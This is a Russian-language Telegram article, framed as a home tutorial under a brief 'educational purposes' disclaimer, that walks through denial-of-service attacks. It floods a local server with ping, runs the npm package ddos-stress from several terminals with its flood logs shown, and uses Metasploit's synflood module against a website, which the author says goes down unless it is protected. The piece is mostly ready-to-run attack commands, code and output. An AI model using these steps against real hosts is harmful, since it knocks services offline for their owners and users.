Простая DDoS атака в домашних условиях

Простая DDoS атака в домашних условиях


Привет телега) Это первая статья на канале, но это не так важно. Заранее говорю, я не несу ответственности за то что вы совершаете, весь материал подан в исключительно образовательных целях. Я всех предупредил, можно начинать.

Мы попробуем задудосить локальный сервер на 4 языках программирования, если Batch считать языком.

Что такое DDoS?

DDOS-атака — это атака на сайт, основной целью которой является выведение его из строя путём подачи большого количества ложных запросов. В результате такой атаки сервера, обслуживающие сайт, вынуждены обрабатывать чрезмерный объём ложных запросов, и сайт становится недоступным для простого пользователя. [Источник]

Подготавливаем сервак

Можно выбрать любой из языков чтобы написать небольшую серверную прогу.

Node.js

http = require('http');
http.createServer(function (req, res) {
 res.write('Hello World!')
}).listen(3000)

Python ( в терминале )

python -m SimpleHTTPServer 3000

С помощью чего можно осуществить DDoS?

ping

Есть несколько методов. Самый примитивный - через консольную команду ping. В UNIX и DOS (не путать с DDoS) терминалах аргументы отличаются, но т.к. большинство юзеров пользуются виндой, буду писать под DOS:

> ping -l 4000 -n 300 localhost
Обмен пакетами с <ваш_хост> [::1] с 4000 байтами данных:
Ответ от ::1: время<1мс
Ответ от ::1: время<1мс
Ответ от ::1: время<1мс
Ответ от ::1: время<1мс
Ответ от ::1: время<1мс
Ответ от ::1: время<1мс
Ответ от ::1: время<1мс
Ответ от ::1: время<1мс
Ответ от ::1: время<1мс
Ответ от ::1: время<1мс
Ответ от ::1: время<1мс

Что мы здесь видим? Аргумент -l означает какого размера будет пакет. В нашем случае это 4000 байта (~2.9Kb). Довольно маленький размер для того чтобы сделать DDoS. Далее -n означает сколько раз мы будем отсылать пакеты на сервер, в нашем случае это локальный сервер.

ddos-stress (Node.js)

Даже в ноде можно сделать DDoS атаку. Уже существует готовый пакет. Устанавливаем всё нужное (просто копируем в командную строку):

npm init -y
npm i ddos-stress
npm audit fix
touch index.js

Теперь создадим скрипт, который и запустит атаку:

Stress = require('ddos-stress');

new Stress().run('http://localhost:3000/',1000);

Первый аргумент в функции run() означает цель, второй аргумент количество запросов.

Чтобы атака точно удалась, запускаем сразу несколько раз скрипт, т.е. открываем сразу несколько терминалов.

Также открываем браузер на странице localhost:3000

Мы увидим в окне терминалов кучу логов об отправке пакетов.

Loop: 146 Current stats: errors(112876) success(20700)
Loop: 147 Current stats: errors(113828) success(20700)
Loop: 148 Current stats: errors(114681) success(20700)
Loop: 149 Current stats: errors(115691) success(20700)
Loop: 150 Current stats: errors(116674) success(20700)
Loop: 151 Current stats: errors(117764) success(20700)
Loop: 152 Current stats: errors(118768) success(20700)
Loop: 153 Current stats: errors(119804) success(20700)
Loop: 154 Current stats: errors(120810) success(20700)
Loop: 155 Current stats: errors(121711) success(20700)
Loop: 156 Current stats: errors(122853) success(20700)
Loop: 157 Current stats: errors(123344) success(20702)
Loop: 158 Current stats: errors(124016) success(20702)
Loop: 159 Current stats: errors(124762) success(20718)
Loop: 160 Current stats: errors(125677) success(20775)
Loop: 161 Current stats: errors(126688) success(20808)

Компьютер от такого количества запросов начнёт подлагивать, так и должно быть. Спустя 5-10 минут атаки можно вырубить все процессы (Ctrl + C).

Обновляем страницу, и видим что порт забился.

Атака удалась!

Атака через MetaSploit (Kali Linux)

Для того чтобы задудосить сервер через metasploit вам потребуется kali linux, или вы можете скачать и установить katoolin на любую linux систему.

К сожалению задудосить локальный хост не получится, так что потренируемся на только что созданном сайте.

Открываем терминал, и пишем msfconsole, чтобы открыть этот самый MetaSploit.

Теперь надо выбрать инструмент synflood:

use auxiliary/dos/tcp/synflood

Далее выбираем хост и порт цели

По дефолту порт стоит 80. Ничего не будем менять. Далее пишем exploit. Готово. Мы начали атаку.

Чтобы её прекратить, нажимаем Ctrl + C

Через некоторое время заходим на сайт, и видим что он отвалился, если он конечно не защищён от DDoS.

Заключение

Вот такая небольшая статья получилась. Это далеко не все и не самые популярные методы, потому что методов много, и на обзор каждого из них потребуется очень много времени.

Report Page